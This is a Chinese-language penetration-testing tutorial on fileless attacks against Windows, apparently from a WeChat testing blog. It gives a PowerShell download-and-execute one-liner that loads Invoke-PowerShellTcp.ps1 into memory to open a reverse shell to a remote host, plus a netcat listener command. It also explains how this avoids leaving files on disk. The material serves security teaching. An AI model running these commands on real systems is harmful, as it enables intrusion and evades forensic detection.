無文件滲透測試工做原理:無文件惡意程序最初是由卡巴斯基在2014年發現的,一直不算是什麼主流的攻擊方式,直到這次事件的發生。提及來無文件惡意程序並不會爲了執行而將文件或文件夾複製到硬盤上,反而是將payloads直接注入正在運行程序的內存,致使惡意軟件直接在系統內存中執行,也讓專家很難在系統重啓以後找到此惡意軟件的蹤影。
在平常的滲透測試中,若是使用無文件滲透,那麼也一樣能夠保證在執行惡意測試程序時沒有任何的文件落地,直接加載到內存中執行,本文分爲兩篇,將分別針對windows和linux系統分別簡單介紹下如何進行無文件滲透測試實戰。
首先咱們要肯定下咱們在什麼狀況下會到使用無文件滲透的這個地步:
一、存在命令執行相關漏洞,可直接執行系統命令
二、經過其餘漏洞已經進入測試目標而且能夠執行一些系統命令
實際上在理解了命令執行的原理而且保證漏洞能夠執行任意系統命令後,咱們能夠直接在命令行的操做模擬命令執行漏洞利用的操做,因此不要介意爲何說是利用漏洞來進行無文件滲透測試但圖裏面確實直接在命令行的操做。
在windows下,通常經過遠程加載powershell腳原本進行,接下來測試加載某ps1腳本至內存來反彈系統shell(用戶會話),測試腳本名爲Invoke-PowerShellTcp.ps1,腳本內容不給出,僅作無文件滲透測試樣例使用,具體利用方式以下:linux
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://testwebsite/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x(測試人員遠端主機ip) -port x(測試人員遠端主機端口)
爲了接收反彈的會話,咱們可使用ncat(能在兩臺主機之間創建連接並雙向返回數據流)來進行主機間的通訊,具體使用以下命令,默認tcp協議:web
#nc –vvlp x(測試人員遠端主機端口)
當在存在漏洞的測試目標上執行該命令時,內存中加載腳本內容並直接執行,進程中會出現powershell.exe可是並不會有Invoke-PowerShellTcp.ps1落地,執行後在測試人員的遠端服務器上能夠接收到測試目標的系統shell,分別在測試目標(windows)和測試人員遠端主機(linux)執行whoami來確認反彈的系統shell確實爲測試目標的會話:shell
使用進程管理器查看本地是否存在正在運行的powershell進程:windows
everything查看windows本地是否存在Invoke-PowerShellTcp.ps1文件服務器
做 者:Testfan Covan
出 處:微信公衆號:自動化軟件測試平臺
版權說明:歡迎轉載,但必須註明出處,並在文章頁面明顯位置給出文章連接微信